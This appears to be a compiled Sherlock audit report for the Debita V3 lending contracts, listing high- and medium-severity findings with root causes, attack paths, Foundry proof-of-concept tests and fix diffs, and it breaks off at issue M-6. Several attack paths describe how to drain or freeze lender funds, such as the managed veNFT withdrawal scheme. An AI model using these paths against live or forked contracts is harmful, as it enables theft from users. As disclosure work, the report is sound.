Issue H-1: Lenders and borrowers can not claim liquidation token after NFT collateral auction sold

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/156

Found by

0xc0ffEE

Summary

The incorrect logic in function veNFTAerodrome::getDataByReceipt() will cause the lenders and borrowers unable to claim liquidation token after the NFT auction sold

Root Cause

• The function DebitaV3Loan::claimCollateralAsNFTLender() allows the lenders to claim the liquidation token after the NFT collateral auction is sold.
• The function DebitaV3Loan::claimCollateralNFTAsBorrower() allows the borrower to claim the liquidation token in case partial default
• The 2 functions above call veNFTAerodrome::getDataByReceipt() to retrieve the liquidation token's decimals to calculate the payment amount
• These 2 flows above can be reverted because of unhandled case in the function veNFTAerodrome::getDataByReceipt(). The mentioned unhandled case is when there is no owner of the receipt token, such that ownerOf(receiptID) reverts because of non-exist token.

    function getDataByReceipt(  
        uint receiptID  
    ) public view returns (receiptInstance memory) {  
        veNFT veContract = veNFT(nftAddress);  
        veNFTVault vaultContract = veNFTVault(s_ReceiptID_to_Vault[receiptID]);  
        uint nftID = vaultContract.attached_NFTID();  
        IVotingEscrow.LockedBalance memory _locked = veContract.locked(nftID);  
        uint _decimals = ERC20(_underlying).decimals();  
        address manager = vaultContract.managerAddress();  
@>        address currentOwnerOfReceipt = ownerOf(receiptID);  
        receiptInstance memory receiptData = receiptInstance({  
            receiptID: receiptID,  
            attachedNFT: nftID,  
            lockedAmount: uint(int(_locked.amount)),  
            lockedDate: _locked.end,  
            decimals: _decimals,  
            vault: address(vaultContract),  
            underlying: _underlying,  
            OwnerIsManager: manager == currentOwnerOfReceipt  
        });  
        return receiptData;  
    }  

    function ownerOf(uint256 tokenId) public view virtual returns (address) {  
        return _requireOwned(tokenId);  
    }  
...  
    function _requireOwned(uint256 tokenId) internal view returns (address) {  
        address owner = _ownerOf(tokenId);  
        if (owner == address(0)) {  
@>            revert ERC721NonexistentToken(tokenId);  
        }  
        return owner;  
    }  

This state can be reached when the auction buyer withdraws veNFT by calling veNFTVault::withdraw(), which will burn the receipt token

    function withdraw() external nonReentrant {  
        IERC721 veNFTContract = IERC721(veNFTAddress);  
        IReceipt receiptContract = IReceipt(factoryAddress);  
        uint m_idFromNFT = attached_NFTID;  
        address holder = receiptContract.ownerOf(receiptID);  
  
        // RECEIPT HAS TO BE ON OWNER WALLET  
        require(attached_NFTID != 0, "No attached nft");  
        require(holder == msg.sender, "Not Holding");  
        receiptContract.decrease(managerAddress, m_idFromNFT);  
  
        delete attached_NFTID;  
  
        // First: burn receipt  
@>        IReceipt(factoryAddress).burnReceipt(receiptID);  
        IReceipt(factoryAddress).emitWithdrawn(address(this), m_idFromNFT);  
        // Second: send them their NFT  
        veNFTContract.transferFrom(address(this), msg.sender, m_idFromNFT);  
    }  

    function burnReceipt(uint id) external onlyVault {  
@>        _burn(id);  
    }  

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

• A borrower deposits veNFT to veNFTVault by calling veNFTAerodrome::deposit(), effectively receives a Receipt token
• The borrower creates borrow offer with the above Receipt token as collateral
• The borrow offer is matched with many lend offers
• The borrower does not pay debt for all lend offers before the deadline and a lender calls createAuctionForCollateral to create an auction for the collateral
• Auction is sold
• The auction buyer, now the current holder of the Receipt token, decides to withdraw the veNFT from the vault by calling veNFTVault::withdraw()
• At this time, both borrower and lenders can not claim liquidation token

Impact

• Loss of liquidation for both lenders and borrower

PoC

Update the test testDefaultAndAuctionCall in file test/fork/Loan/ltv/OracleOneLenderLoanReceipt.t.sol as below:

  
    function testDefaultAndAuctionCall() public {  
        MatchOffers();  
        uint256[] memory indexes = allDynamicData.getDynamicUintArray(1);  
        indexes[0] = 0;  
        vm.warp(block.timestamp + 8640010);  
        DebitaV3LoanContract.createAuctionForCollateral(0);  
        DutchAuction_veNFT auction = DutchAuction_veNFT(DebitaV3LoanContract.getAuctionData().auctionAddress);  
        DutchAuction_veNFT.dutchAuction_INFO memory auctionData = auction.getAuctionData();  
  
        vm.warp(block.timestamp + (86400 * 10) + 1);  
  
        address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;  
        deal(AERO, buyer, 100e18);  
        vm.startPrank(buyer);  
  
        AEROContract.approve(address(auction), 100e18);  
        auction.buyNFT();  
        vm.stopPrank();  
        address ownerOfNFT = receiptContract.ownerOf(receiptID);  
  
  
        // buyer withdraws NFT  
        vm.startPrank(ownerOfNFT);  
        address vaultAddress = receiptContract.s_ReceiptID_to_Vault(receiptID);  
        veNFTVault vault = veNFTVault(vaultAddress);  
        vault.withdraw();  
  
        // lender claim liquidation token  
        vm.stopPrank();  
        vm.expectRevert();  
        DebitaV3LoanContract.claimCollateralAsLender(0);  
    }  

Run the test and console shows:

Ran 1 test for test/fork/Loan/ltv/OracleOneLenderLoanReceipt.t.sol:DebitaAggregatorTest  
[PASS] testDefaultAndAuctionCall() (gas: 3381044)  

Mitigation

1/ Update the function getDataByReceipt() to handle the case non-exist token, instead of reverting
2/ OR update the logic to fetch the decimals in functions claimCollateralAsNFTLender and claimCollateralNFTAsBorrower

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/8eb4deaff92b143dfb838f0eda8c5adeca2fac8c

Issue H-2: Nobody can buy the TaxTokenReceipt NFT from auction

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/388

Found by

0x37, 0xPhantom2, KaplanLabs, KiroBrejka, bbl4de, dhank, dimulski, tmotfl, xiaoming90

Summary

Nobody can buy the TaxTokenReceipt NFT from auction due to the overrided transferFrom function. The transferFrom function is overrided with the following checks:

function transferFrom(  
        address from,  
        address to,  
        uint256 tokenId  
    ) public virtual override(ERC721, IERC721) {  
        bool isReceiverAddressDebita = IBorrowOrderFactory(borrowOrderFactory)  
            .isBorrowOrderLegit(to) ||  
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(to) ||  
            IAggregator(Aggregator).isSenderALoan(to);  
        bool isSenderAddressDebita = IBorrowOrderFactory(borrowOrderFactory)  
            .isBorrowOrderLegit(from) ||  
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(from) ||  
            IAggregator(Aggregator).isSenderALoan(from);  
        // Debita not involved --> revert  
        require(  
            isReceiverAddressDebita || isSenderAddressDebita,  
            "TaxTokensReceipts: Debita not involved"  
        );  

This ensures that the transfer of the NFT, will go smoothly through the system, but one thing is missing. The thing is that if a borrower doesn't pay off his debt amount and the loan is auctioned, nobody will be able to buy the NFT off. This is because the transferFrom function requires for the from and to addresses to be either a BorrowOrder, LendOrder or a Loan to be able to transfer the receipt NFT. At the point when the NFT is in the Auction contract it will be too late because neither the Auction contract nor the msg.sender is or can be one of the listed. This means that it is impossible to get any amount of collateral token out of the NFT, which means that the lenders will experience a big loss of funds

Root Cause

The modifications of the ERC721::transferFrom function

Internal pre-conditions

TaxTokenReceipt being used as loan collateral

External pre-conditions

None

Attack Path

1. User makes BorrowOrder with TaxTokenReceipt NFT as collateral
2. The offer is matched and a loan is now created.
3. Borrower doesn't pay his loan off
4. Loan is auctioned and the NFT is transferred to the created auction (Up to this moment everything is going smoothly because at least one address in the sequence meets the criteria of being either a BorrowOrder, LoanOrder or a Loan)
5. At this point there is no eligible address since the Auction address doesn't meet the criteria and the msg.sender is just unable to meet it since neither the BorrowOrder nor the LendOrder can call Auction::buyNFT function.

Impact

Lenders will experience big loss of funds, since the NFT can't be sold. Borrower will go off with their principle token and money that they should get in the form of NFT underlying are frozen forever.

PoC

No response

Mitigation

Add a check to the TaxTokenReceipt NFT that ensures that an auction is active (Has an index different than 0 in the auctionFactoryDebita::AuctionOrderIndex mapping) and it is part of the Debita system (as it is indeed part of the system)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/77653c1b2b5aacdbf4ae340d50504e056b8d8540

Issue H-3: Managed veAERO NFT can be exploited to steal funds from lenders

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/535

Found by

KaplanLabs, xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Instance 1

The Aerodrome's veAERO NFT can be an unmanaged veNFT OR managed veNFT. A managed veAERO NFT (also called (m)veAERO NFT) operates like a vault that allows users to deposit and withdraw their unmanaged veNFT into the managed veNFT via the Voter.depositManaged and Voter.withdrawManaged functions. Thus, the locked amount within the (m)veAERO NFT can increase or decrease.

Bob, the malicious user, owns a (m)veAERO NFT and locks his unmanaged veNFT worth 1,000,000 AERO within it. He then converts it into an NFT receipt and uses it as collateral in his borrow offer. The borrow offer intends to exchange borrow 1,000,000 USDC at the price/ratio of 1 AERO = 1 USDC.

Bob then matches his borrow order against other users' lending orders via the permissionless DebitaV3Aggregator.matchOffersV3 function himself. A new Loan contract is created, and 1,000,000 USDC is sent to Bob's wallet, and the (m)veAERO NFT is transferred into the Loan contract.

Next, Bob calls the Voter.withdrawManaged function to withdraw his unmanaged veNFT, which is worth 1,000,000 AERO, from the (m)veAERO NFT. As a result, the (m)veAERO NFT collateral within the Loan becomes worthless now.

Bob now holds 1,000,000 USDC and 1,000,000 AERO.

Bob defaults on the Loan, and the (m)veAERO NFT will be auctioned. Since the (m)veAERO NFT is worthless, no one will purchase it, and the lender will not get any funds back and will lose 1,000,000 USDC

Instance 2

Any mechanism that relies on NFT receipt will be vulnerable to such an issue by exploiting the managed veNFT.

Another instance that is affected by a similar issue is the BuyOrder.sellNFT function, where the NFT receipt with managed veNFT is placed within a buy order and put up for sale. Once the NFT receipt is sold, the seller can proceed to withdraw all the locked amount within the NFT receipt, leaving the buyer with a worthless NFT receipt. Since the root cause is similar, the attack path will be omitted for brevity.

Impact

High. Loss of assets for lenders and buyers.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/992eb89cb38543a8fa4d168fef79e2f1c8ab67e2

Issue H-4: No one can sell TaxTokensReceipts NFT receipt to the buy order

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/560

The protocol has acknowledged this issue.

Found by

0x37, KiroBrejka, bbl4de, dimulski, xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

The TaxTokensReceipts NFT receipt exist to allow FOT to be used within the Debita ecosystem. If users have any tokens that charge a tax/fee on transfer, they must deposit them into the TaxTokensReceipts NFT receipt and use the NFT within the Debita ecosystem.

The new Debita protocol has a new feature called "Buy Order" or "Limit Order" that allows users to create buy orders, providing a mechanism for injecting liquidity to purchase specific receipts at predetermined ratios. The receipts include the TaxTokensReceipts NFT receipt.

Assume that Bob creates a new Buy Order to purchase TaxTokensReceipts NFT receipt. Alice, the holder of TaxTokensReceipts NFT receipt, decided to sell it to Bob's Buy Order. Thus, she called the buyOrder.sellNFT() function, and Line 99 below will attempt to transfer Alice's TaxTokensReceipts NFT receipt to the Buy Order contract.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L99

File: buyOrder.sol  
092:     function sellNFT(uint receiptID) public {  
093:         require(buyInformation.isActive, "Buy order is not active");  
094:         require(  
095:             buyInformation.availableAmount > 0,  
096:             "Buy order is not available"  
097:         );  
098:   
099:         IERC721(buyInformation.wantedToken).transferFrom(  
100:             msg.sender,  
101:             address(this),  
102:             receiptID  
103:         );  

However, the transfer will always revert because the transfer function has been overwritten, as shown below. The transfer function has been overwritten to only allow the transfer to proceed if the to or from involves the following three (3) contracts:

1. Borrow Order Contract
2. Lend Order Contract
3. Loan Contract

Since neither the Buy Order contract nor the seller (Alice) is the above three contracts, the transfer will always fail. Thus, there is no way for anyone to sell their TaxTokensReceipts NFT receipt to the buy order. Thus, this feature is effectively broken.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol#L98

File: TaxTokensReceipt.sol  
093:     function transferFrom(  
094:         address from,  
095:         address to,  
096:         uint256 tokenId  
097:     ) public virtual override(ERC721, IERC721) {  
098:         bool isReceiverAddressDebita = IBorrowOrderFactory(borrowOrderFactory)  
099:             .isBorrowOrderLegit(to) ||  
100:             ILendOrderFactory(lendOrderFactory).isLendOrderLegit(to) ||  
101:             IAggregator(Aggregator).isSenderALoan(to);  
102:         bool isSenderAddressDebita = IBorrowOrderFactory(borrowOrderFactory)  
103:             .isBorrowOrderLegit(from) ||  
104:             ILendOrderFactory(lendOrderFactory).isLendOrderLegit(from) ||  
105:             IAggregator(Aggregator).isSenderALoan(from);  
106:         // Debita not involved --> revert  
107:         require(  
108:             isReceiverAddressDebita || isSenderAddressDebita,  
109:             "TaxTokensReceipts: Debita not involved"  
110:         );  

Impact

Medium. Core protocol functionality (Buy Order/Limit Order) is broken.

PoC

No response

Mitigation

Buy Order contract must be authorized to transfer TaxTokensReceipt NFT as it is also part of the Debita protocol.

    function transferFrom(  
        address from,  
        address to,  
        uint256 tokenId  
    ) public virtual override(ERC721, IERC721) {  
        bool isReceiverAddressDebita = IBorrowOrderFactory(borrowOrderFactory)  
            .isBorrowOrderLegit(to) ||  
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(to) ||  
+						IBuyOrderFactory(buyOrderFactory).isBuyOrderLegit(to) ||  
            IAggregator(Aggregator).isSenderALoan(to);  
        bool isSenderAddressDebita = IBorrowOrderFactory(borrowOrderFactory)  
            .isBorrowOrderLegit(from) ||  
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(from) ||  
+						IBuyOrderFactory(buyOrderFactory).isBuyOrderLegit(from) ||  
            IAggregator(Aggregator).isSenderALoan(from);  
        // Debita not involved --> revert  
        require(  
            isReceiverAddressDebita || isSenderAddressDebita,  
            "TaxTokensReceipts: Debita not involved"  
        );  

Issue H-5: After the buyOrder is completed, the order creator does not receive the NFT

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/890

Found by

0x37, 0xPhantom2, 4lifemen, Audinarey, BengalCatBalu, CL001, Cybrid, DenTonylifer, Greed, Greese, IzuMan, KiroBrejka, KungFuPanda, Pro_King, Valy001, alexbabits, araj, dhank, dimulski, durov, kazan, lanrebayode77, merlin, newspacexyz, nikhilx0111, pashap9990, shaflow01, t.aksoy, utsav, xiaoming90, ydlee

Summary

After sellNFT is completed, the NFT should be transferred to the order creator, but this is not done.

Root Cause

After the buyOrder is completed, the order creator does not receive the NFT, and the NFT is sent directly to buyOrderContract

The latter only emits an event and deletes the order, but does not transfer the NFT to the order creator

Internal pre-conditions

External pre-conditions

1. User A create buyOrder.
2. User B sellNFT.

Attack Path

1. User A create buyOrder.

2. User B sellNFT,and receive buyToken

3. But order creator will lose the NFT

Impact

The buyOrder creator will lose the NFT

PoC

Path:
test/fork/BuyOrders/BuyOrder.t.sol

function testpoc() public{  
        vm.startPrank(seller);  
        receiptContract.approve(address(buyOrderContract), receiptID);  
        uint balanceBeforeAero = AEROContract.balanceOf(seller);  
        address owner = receiptContract.ownerOf(receiptID);  
         
        console.log("receipt owner before sell",owner);  
  
  
        buyOrderContract.sellNFT(receiptID);  
        address owner1 = receiptContract.ownerOf(receiptID);  
        console.log("receipt owner after sell",owner1);  
        //owner = buyOrderContract  
        assertEq(owner1,address(buyOrderContract));  
          
          
        vm.stopPrank();  
  
    }  
  

[PASS] testpoc() (gas: 242138)
Logs:
receipt owner before sell 0x81B2c95353d69580875a7aFF5E8f018F1761b7D1
receipt owner after sell 0xffD4505B3452Dc22f8473616d50503bA9E1710Ac

Mitigation

After the buyOrder is completed,the NFT should be transferred to the order creator

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/d6f3b76c256713f0aa132a015ced6eb60ec389cb

Issue M-1: Lend offer can be deleted multiple times

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/119

Found by

0x37, 0xAristos, 0xSolus, KlosMitSoss, Vidus, bbl4de, copperscrewer, liquidbuddha, newspacexyz, onthehunt, theweb3mechanic

Summary

Lack of check in addFunds() function. This will cause one lend offer can be deleted twice.

Root Cause

In DebitaLendOffer-Implementation:178, there is one perpetual mode.
Considering one scenario: The lend offer is in perpetual mode and current availableAmount equals 0. Now when we try to change perpetual to false, we will delete this lend order.
The problem is that we lack updating isActive to false in changePerpetual(). This will cause that the owner can trigger changePerpetual multiple times to delete the same lend order.
When we repeat deleting the same lend order in deleteOrder, we will keep decreasing activeOrdersCount. This will impact other lend offer. Other lend offers may not be deleted.

    function changePerpetual(bool _perpetual) public onlyOwner nonReentrant {  
        require(isActive, "Offer is not active");  
        lendInformation.perpetual = _perpetual;  
        if (_perpetual == false && lendInformation.availableAmount == 0) {  
            IDLOFactory(factoryContract).emitDelete(address(this));  
            IDLOFactory(factoryContract).deleteOrder(address(this));  
        } else {  
            IDLOFactory(factoryContract).emitUpdate(address(this));  
        }  
    }  

    function deleteOrder(address _lendOrder) external onlyLendOrder {  
        uint index = LendOrderIndex[_lendOrder];  
        LendOrderIndex[_lendOrder] = 0;  
        // switch index of the last borrow order to the deleted borrow order  
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];  
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;  
        // take out last borrow order  
        allActiveLendOrders[activeOrdersCount - 1] = address(0);  
        activeOrdersCount--;  
    }  

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

1. Alice creates one lend order with perpetual mode.
2. Match Alice's lend order to let availableAmount to 0.
3. Alice triggers changePerpetual repeatedly to let activeOrdersCount to 0.
4. Other lend orders cannot be deleted.

Impact

All lend orders cannot be deleted. This will cause that lend order cannot be cancelled or may not accept this lend offer if we want to use the whole lend order's principle.

PoC

N/A

Mitigation

When we delete the lend order, we should set it to inactive. This will prevent changePerpetual() retriggered repeatedly.

     function changePerpetual(bool _perpetual) public onlyOwner nonReentrant {  
         require(isActive, "Offer is not active");  
   
         lendInformation.perpetual = _perpetual;  
         if (_perpetual == false && lendInformation.availableAmount == 0) {  
+            isActive = false;  
             IDLOFactory(factoryContract).emitDelete(address(this));  
             IDLOFactory(factoryContract).deleteOrder(address(this));  
         } else {  

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/307e2360dd9aaac443f17547466c51718d4cefd3

Issue M-2: Borrowers can not extend loans which has maximum duration less than 24 hours

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/153

Found by

0x37, 0xc0ffEE, KaplanLabs, bbl4de, dhank, farismaulana, nikhil840096, ydlee

Summary

The logics to calculate the missing borrow fee is incorrect, which will cause the borrowers can not extend loans having maximum duration less than 24 hours because of arithmetic underflow

Root Cause

• In function DebitaV3Loan::extendLoan(), the borrower has to pay the extra fee if he has not paid maximum fee yet.
• The variable feeOfMaxDeadline is expected to be the fee to pay for lend offer's maximum duration, which is then adjusted to be within the range [feePerDay; maxFee]. This implies that the extra fee considers offer's min duration fee to be 1 day
• The fee paid for the initial duration is bounded to be within the range [minFEE; maxFee]
• The fee configurations are set initially as. The fee implies that min fee for the loan initial duration is 0.2% , = 5 days of fee

    uint public feePerDay = 4; // fee per day (0.04%)  
    uint public maxFEE = 80; // max fee 0.8%  
    uint public minFEE = 20; // min fee 0.2%  

• The extra fee to be paid is calculated as misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid, which will revert due to arithmetic underflow in case the loan's initial duration is less than 24 hours and the unpaid offers' maximum duration is also less than 24 hours. In this situation, the values will satisfy PorcentageOfFeePaid = minFEE = 0.2%, feeOfMaxDeadline = feePerDay = 0.04%, which will cause misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid to revert because of arithmetic underflow

        uint feePerDay = Aggregator(AggregatorContract).feePerDay();  
        uint minFEE = Aggregator(AggregatorContract).minFEE();  
        uint maxFee = Aggregator(AggregatorContract).maxFEE();  
@>        uint PorcentageOfFeePaid = ((m_loan.initialDuration * feePerDay) /  
            86400);  
        // adjust fees  
  
        if (PorcentageOfFeePaid > maxFee) {  
            PorcentageOfFeePaid = maxFee;  
        } else if (PorcentageOfFeePaid < minFEE) {  
@>            PorcentageOfFeePaid = minFEE;  
        }  
  
        // calculate interest to pay to Debita and the subtract to the lenders  
  
        for (uint i; i < m_loan._acceptedOffers.length; i++) {  
            infoOfOffers memory offer = m_loan._acceptedOffers[i];  
            // if paid, skip  
            // if not paid, calculate interest to pay  
            if (!offer.paid) {  
                uint alreadyUsedTime = block.timestamp - m_loan.startedAt;  
  
                uint extendedTime = offer.maxDeadline -  
                    alreadyUsedTime -  
                    block.timestamp;  
                uint interestOfUsedTime = calculateInterestToPay(i);  
                uint interestToPayToDebita = (interestOfUsedTime * feeLender) /  
                    10000;  
  
                uint misingBorrowFee;  
  
                // if user already paid the max fee, then we dont have to charge them again  
                if (PorcentageOfFeePaid != maxFee) {  
                    // calculate difference from fee paid for the initialDuration vs the extra fee they should pay because of the extras days of extending the loan.  MAXFEE shouldnt be higher than extra fee + PorcentageOfFeePaid  
@>                    uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /  
                        86400);  
                    if (feeOfMaxDeadline > maxFee) {  
                        feeOfMaxDeadline = maxFee;  
                    } else if (feeOfMaxDeadline < feePerDay) {  
@>                        feeOfMaxDeadline = feePerDay;  
                    }  
  
@>                    misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid;  
                }  

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. A borrow offer is created with duration = 5 hours
2. A lend offer is created with min duration = 3 hours, max duration = 12 hours
3. 2 offers matched
4. After 4 hours, the borrower decides to extend loan by calling extendLoan() and transaction gets reverted

Impact

• Borrowers can not extend loan for the loans having durations less than 24 hours (both initial duration and offers' max duration)

PoC

No response

Mitigation

Consider updating like below

- } else if (feeOfMaxDeadline < feePerDay) {  
-                        feeOfMaxDeadline = feePerDay;  
+ } else if (feeOfMaxDeadline < minFEE) {  
+                        feeOfMaxDeadline = minFEE;  

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/2958108a7a7307830953dec9bf4f3178a6cff434

Issue M-3: The precision loss in the fee percentage for connecting offers results in the borrower paying less than the expected fee.

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/208

Found by

nikhil840096, ydlee

Summary

Some of the borrowed principal tokens is charged as a fee for connecting transactions. The percentage of the fee is calculated according to DebitaV3Aggregator.sol:391. There is a non-negligible precision loss in the calculation process. Since the default feePerDay is 4, the maximum loss could reach up to 1/4 of the daily fee, which is significant, especially when the amount borrowed is substantial.

391:    uint percentage = ((borrowInfo.duration * feePerDay) / 86400);  // @audit-issue 最多损失1/4天的费用  

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L391

There are another 2 instances of the issue in DebitaV3Load.sol:extendLoan.

571:    uint PorcentageOfFeePaid = ((m_loan.initialDuration * feePerDay) /  
572:        86400);  

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L571-L572

602:                uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /  
603:                    86400);  

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L602-L603

Root Cause

In DebitaV3Aggregator.sol:391, rounding down the fee percentage can lead to a non-trivial precision loss.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

By setting the borrowing duration to N days + 86400/4 - 1, users can save the maximum fee.

Impact

The precision loss in the fee percentage results in the borrower paying less than the expected fee, with the maximum loss potentially reaching up to 1/4 of the daily fee.

PoC

No response

Mitigation

When calculating the fee percentage, rounding up; or multiplying by a multiple to increase precision.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/c946cdd90c8d4841fa254359a863d3b574e34566

Issue M-4: The fee calculation in extendLoan function has a error

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/211

Found by

0x37, 0xPhantom2, 0xc0ffEE, 0xe4669da, ExtraCaterpillar, Falendar, KaplanLabs, Maroutis, Nave765, bbl4de, dany.armstrong90, davidjohn241018, dhank, dimulski, durov, jsmi, momentum, newspacexyz, shaflow01, ydlee

Summary

When a borrower extends the loan duration, they are required to pay additional fees for the extended time. However, due to a calculation error, this fee may be incorrect, potentially causing the user to pay more than necessary.

Root Cause

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L602

                // if user already paid the max fee, then we dont have to charge them again  
                if (PorcentageOfFeePaid != maxFee) {  
                    // calculate difference from fee paid for the initialDuration vs the extra fee they should pay because of the extras days of extending the loan.  MAXFEE shouldnt be higher than extra fee + PorcentageOfFeePaid  
                    uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /  
                        86400);  
                    if (feeOfMaxDeadline > maxFee) {  
                        feeOfMaxDeadline = maxFee;  
                    } else if (feeOfMaxDeadline < feePerDay) {  
                        feeOfMaxDeadline = feePerDay;  
                    }  
  
                    misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid;  
                }  

The calculation for feeOfMaxDeadline should be:

extendedLoanDuration * feePerDay,

where extendedLoanDuration represents the extended borrowing time. However, the function mistakenly uses the timestamp directly for calculations, leading to an incorrect fee computation.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

The user might end up paying significantly higher fees than expected, leading to potential financial losses.

PoC

No response

Mitigation

```solidity  
                // if user already paid the max fee, then we dont have to charge them again  
                if (PorcentageOfFeePaid != maxFee) {  
                    // calculate difference from fee paid for the initialDuration vs the extra fee they should pay because of the extras days of extending the loan.  MAXFEE shouldnt be higher than extra fee + PorcentageOfFeePaid  
-                   uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /  
+                   uint feeOfMaxDeadline = (((offer.maxDeadline - loanData.startedAt)* feePerDay) /  
                        86400);  
                    if (feeOfMaxDeadline > maxFee) {  
                        feeOfMaxDeadline = maxFee;  
                    } else if (feeOfMaxDeadline < feePerDay) {  
                        feeOfMaxDeadline = feePerDay;  
                    }  
  
                    misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid;  
                }  

  
## Discussion  
  
**sherlock-admin2**  
  
The protocol team fixed this issue in the following PRs/commits:  
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/63f8c4b1e4e7df734bf09260bd951f2c3e0da736  
  
  
  
  
# Issue M-5: Incorrect calculation of extended loan days leads to unfair borrower fees   
  
Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/236   
  
The protocol has acknowledged this issue.  
  
## Found by   
newspacexyz, prosper  
  
### Summary  
  
The miscalculation of extended loan days in the `extendLoan` function will cause borrowers to face unfair fees as the function incorrectly calculates the fee based on `offer.maxDeadline` instead of using the actual extended days derived from `nextDeadline()` and `m_loan.startedAt`. This leads to inflated fee deductions during loan extensions.  
  
### Root Cause  
  
In `DebitaV3Loan.sol:602`, the calculation of the extended days incorrectly uses `offer.maxDeadline` as the basis for the fee calculation instead of the actual extended period derived from `nextDeadline()` and `m_loan.startedAt`. This results in an inflated `feeOfMaxDeadline`, leading to excessive fees for borrowers.  
  
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L602-L610  
  
**Real extended `maxDeadline` is `nextDeadline()`, not `offer.maxDeadline`.**  
  
`// calculate difference from fee paid for the initialDuration vs the extra fee they should pay because of the extras days of extending the loan.  MAXFEE shouldnt be higher than extra fee + PorcentageOfFeePaid`  
  
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L601  
  
### Internal pre-conditions  
  
_No response_  
  
### External pre-conditions  
  
_No response_  
  
### Attack Path  
  
1. The borrower calls the `extendLoan()` function to extend their loan duration.    
2. The function validates initial conditions:  
   - `loanData.extended` is `false`.    
   - `nextDeadline()` returns a timestamp greater than `block.timestamp`.    
   - `offer.maxDeadline` is a valid future timestamp.    
3. The function calculates `feeOfMaxDeadline` as:  
   ```solidity  
   uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) / 86400);  

This incorrectly uses offer.maxDeadline instead of the actual extended period derived from nextDeadline() and m_loan.startedAt.
4. The miscalculation leads to an inflated feeOfMaxDeadline and misingBorrowFee.
5. The inflated fees are deducted from the borrower's principal during the loan extension.
6. The borrower loses more principal than necessary due to the incorrect fee calculation.

Impact

Borrowers will be charged inflated fees due to the incorrect calculation of the extended loan days. This results in unnecessary principal loss, making loan extensions disproportionately costly. Over time, this could discourage borrowers from using the loan extension feature, cause financial hardship, and lead to reputational damage for the platform as users perceive the fee structure as unfair or exploitative.

PoC

No response

Mitigation

uint extendedDays = nextDeadline() - m_loan.startedAt;  
require(extendedDays > 0, "Invalid extended days");  
  
uint feeOfMaxDeadline = ((extendedDays * feePerDay) / 86400);  

Issue M-6: Attacker will prevent lenders from canceling lend orders and block non-perpetual lend orders matching.

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/246

Found by

